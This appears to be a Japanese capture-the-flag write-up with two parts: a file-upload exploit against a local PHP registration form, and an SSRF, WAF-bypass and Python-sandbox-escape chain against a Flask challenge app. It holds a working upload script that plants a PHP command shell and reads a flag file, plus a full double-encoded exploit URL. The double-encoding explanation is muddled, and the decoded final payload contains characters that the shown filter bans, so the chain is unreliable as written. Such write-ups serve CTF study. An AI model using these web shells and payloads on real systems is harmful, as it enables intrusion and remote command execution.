CVE情報を用いたファイルアップロード脆弱性の検証
セキュリティ競技において、既知の脆弱性情報(CVE)を習得・応用する課題は、初学者が実戦的な攻撃フローを構築する上で効果的です。本検証では、特定バージョンのWebアプリケーションにおけるアップロードフィルタの誤設定を題材としています。攻撃手法は、マルチパートフォームデータを活用した悪意あるスクリプトの混入です。
以下は、該当エンドポイントに対してリクエストを構築し、アップロードされたリソースをトリガーするPythonスクリプトの実装例です。
import requests
target_endpoint = "http://127.0.0.1:8081/registration.php"
# フォームパラメータの定義
payload_form = {
"user_id": "researcher_01",
"contact_email": "lab@example.org",
"access_key": "secure_token_x9",
"phone_number": "09099887766",
"category": "admin",
"tags[]": "security",
"register_action": "Confirm"
}
# 悪意あるコードを含むファイルの設定
malicious_upload = {
"attachment": ("exploit_shell.php", '<?php passthru($_GET["exec"]); ?>', "application/octet-stream")
}
# アップロードリクエストの送信
requests.post(target_endpoint, data=payload_form, files=malicious_upload)
# 保存先パスの推測とコード実行
execution_url = f"http://127.0.0.1:8081/uploads/researcher_01/exploit_shell.php?exec=cat /flag"
print(requests.get(execution_url).text)
この手法により、ファイル保存ディレクトリにスクリプトが配置され、指定されたパラメータを介してOSコマンドが実行されます。
SSRF、正規表現フィルタ回避、およびPyJailの連鎖
次に、内部ネットワーク制限付きの評価エンドポイントと、外部リソース取得機能を併せ持つアプリケーションの脆弱性連鎖を解説します。以下は、問題として提示されたサーバーサイドロジックを保持しつつ、変数名および構造を整理したコードです。
import re
import flask
import requests
import ipaddress
from urllib.parse import urlparse
# 特定文字の連続出現を制限するパターン
FILTER_PATTERN = r'[a-zA-Z0-9_\[\]{}()<>,.!@#$^&*]{3}'
app = flask.Flask(__name__)
def sanitize_input(data):
# 連続3文字以上の制限文字列が含まれないか検証
return len(re.findall(FILTER_PATTERN, data)) == 0
def validate_origin(target_url):
# 許可されたドメインプレフィックスの強制
if not target_url.startswith('http://vnctf.'):
return None
parsed = urlparse(target_url)
host = parsed.hostname
query = parsed.query
# クエリパラメータ内のパターン検証
if not sanitize_input(query):
return None
# IPアドレス直接指定の遮断
try:
ipaddress.ip_address(host)
return None
except ValueError:
pass
return target_url
@app.route('/')
def index():
return 'Service Active.'
@app.route('/fetch_data')
def proxy_request():
raw_url = flask.request.args.get('url')
safe_url = validate_origin(raw_url)
if safe_url:
try:
# リダイレクトを無効化して取得
response = requests.get(safe_url, allow_redirects=False)
return response.text
except Exception:
return 'Request Failed'
return 'Access Denied'
@app.route('/internal/evaluate')
def restricted_executor():
# ローカルループバックからのみアクセス許可
if flask.request.remote_addr not in ('127.0.0.1', '::1'):
return 'Forbidden'
expression = flask.request.args.get('code')
# 文字列長制限
if len(expression) >= 304:
return 'Length Limit Exceeded'
# 禁止シンタックスチェック
banned_chars = ['\\x', '+', 'join', '"', "'", '[', ']', '2', '3', '4', '5', '6', '7', '8', '9']
if any(sym in expression for sym in banned_chars):
return 'Syntax Violation'
# 制限された実行環境の構築
safe_namespace = {'__builtins__': None, 'arr': list, 'map': dict}
try:
return repr(eval(expression, safe_namespace))
except Exception:
return 'Runtime Error'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
攻撃ベクトルの構築手順
1. ドメイン検証ロジックの迂回
URLパース処理において、ホスト名の直前に `@` 記号を配置すると、その preceding の文字列は認証情報として解釈され、実際のTCP接続先は `@` 以降のホスト名が採用されます。この仕様により、`http://vnctf.@localhost:8080` のような形式を構築することで、プレフィックスチェックとIPフィルタの両方を同時に回避できます。
2. WAF正規表現の二重エンコード回避
サーバー側では、特定文字の連続出現をブロックするWAFが実装されています。しかし、Flaskフレームワークのリクエスト解析では、URLエンコードされたクエリパラメータは内部処理前に自動的にデコードされます。この処理順序の差に注目します。WAFはデコード前の文字列に対して正規表現マッチを行うため、ペイロード全体を2回URLエンコードすると、1回目のデコード時にWAFチェック用に変換前の状態に戻り、2回目のフレームワーク内部処理で本来のPythonコードが復元されます。例えば、連続する文字列は `%25XX%25XX` の形式で送信されるため、正規表現パターン `{3}` にマッチせずフィルタを通過します。
3. PyJail環境での権限昇格
数字と基本的な演算子・クォートが制限される環境でも、組み込み型のメタクラス機能を利用することでスコープを脱出可能です。`abc.ABCMeta` クラスの `register` 関数を介して `__globals__` ディクショナリにアクセスし、`__builtins__` を取得する手法が安定しています。数字の制限については、`0` と `1` を用いた論理演算、または `0b` 接頭辞による2進数表記で代替できます。
最終的なエクスプロイトは、SSRF経由で内部評価エンドポイントを呼び出し、二重エンコードされたPyJailペイロードを渡すことで完結します。以下のURL構造でリクエストを投下すると、ファイル内容が取得されます。
/fetch_data?url=http://vnctf.@localhost:8080/internal/evaluate%3fcode=%2561%2572%2572%252e%255f%255f%2563%256c%2561%2573%2573%255f%255f%252e%255f%255f%2573%2575%2562%2563%256c%2561%2573%2573%2565%2573%255f%255f%2528%2529%255b%2530%255d%252e%2572%2565%2567%2569%2573%2574%2565%2572%252e%255f%255f%2567%256c%256f%2562%2561%256c%2573%255f%255f%252e%2567%2565%2574%2528%2522%255f%255f%2562%2575%2569%256c%2574%2569%256e%2573%255f%255f%2522%2529%252e%256f%2570%2565%256e%2528%2522%2566%256c%2561%2567%2522%2529%252e%2572%2565%2561%2564%2528%2529